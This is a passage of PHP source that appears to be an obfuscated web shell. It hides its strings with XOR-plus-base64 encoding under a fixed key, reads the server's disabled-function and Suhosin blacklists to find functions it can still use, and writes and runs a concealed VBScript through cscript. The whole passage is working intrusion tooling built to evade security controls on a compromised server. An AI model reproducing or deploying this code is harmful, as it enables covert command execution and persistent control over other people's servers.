function zipWindows($zip_location, $folder) { $code = 'ArchiveFolder "' . $zip_location . '", "' . $folder . '"' . unsh3ll_this("NxoWQzECBQEFEwEpGw8UFRRJRB8NHzIKHBVKSR8jCwMQBgJZbGNMRURPIwoEGEYqHgAFGxEsEhoDChhNRjwXERkAEgACAkopHQ8VIx8aGAAJIBYJFRMSS0VvRE9UQ1BQRkkWDBQpHQ8VUFtJQiIBGzUBAx8KHBgANA4ACz4RCwxEHw0fMgocFU9jTEVET1RDUFAVLwMJAAoGQ01QSC4JESUNBwwcBRIMPAQQBzoCHRVOGioKCAsREVl6bElMRURPVENQJw8dBEVKLAYGEQQDPQkdECkdDxVYHAAcIw0DEU9QJBQcCUxuT1RDUFBGSUxFRE9UTScCDx0JRScHBktIQE9JSkUnBwZLR0VPSUpFJwcGS0VZRk9MJgwdXFVZUEBJPxEWBhoEWEFeRUwGDB1cU1lZbElMRURPVENQNQgNTDINGxxpUFBGSSkLAE8jCgQYbGNMRURPIwoEGEYqHgAFGxEsEhoDChhNRjwcBhwcSCgcFQgGFwIEGQkHTkxuT1RDUFBGSUxLKg4ZBiMABwoJTR4GBCUZHANAQiYLHw0rFQIDSUIrBQIRMAARBQxEFiIAGAcVAk9HJREBAgdpelBGSUxFRE9UJx9QMwcYDAhPWi0RHQM6HAQHClwZGQAgAAAATUE9FxUdFUcvChEBAENNUDljTEVET1RDUFBGSUxFRE9UQ1BeKAgBADcfFQAVWBUvAwkACgZKXjkSDAEWSiwbFh4EbElMRURPVENQUEZJTDI3DAYKAARIOgAAAR9UUkBAVklmRURPVENQUEYlAwoUZVRDUFAjBwhFMwYAC3p6IwcIRTcaFg=="); file_put_contents("zipFolder.vbs", $code); evalRel("cscript //nologo zipFolder.vbs"); }
$key = "dotcppfile"; $outText = ''; for ($i = 0; $i < strlen($string);) { for ($j = 0; $j < strlen($key) && $i < strlen($string); $j++, $i++) { $outText .= $string[$i] ^ $key[$j]; } } return base64encoding($outText); } function unsh3ll_this($string) { return base64decoding(sh3ll_this(base64decoding($string))); } $disbls = @ini_get(unsh3ll_this("AAYHAhIcAzYKEAoMAAofHhU=")) . ',' . @ini_get(unsh3ll_this("FxocDAMZCEcJHQEMARcfAkgPGQsHQRYPERMNBQUWEA==")); if ($disbls == ",") { $disbls = get_cfg_var(unsh3ll_this("AAYHAhIcAzYKEAoMAAofHhU=")) . ',' . get_cfg_var(unsh3ll_this("FxocDAMZCEcJHQEMARcfAkgPGQsHQRYPERMNBQUWEA==")); } $disbls = str_replace(" ", "", $disbls); $disblsArray = explode(",", $disbls); function checkIt($func) { global $disblsArray; foreach ($disblsArray as $value) { if ($func == $value) { return False; } } return True; } if (checkIt("function_exists")) { if (checkIt("curl_version")) {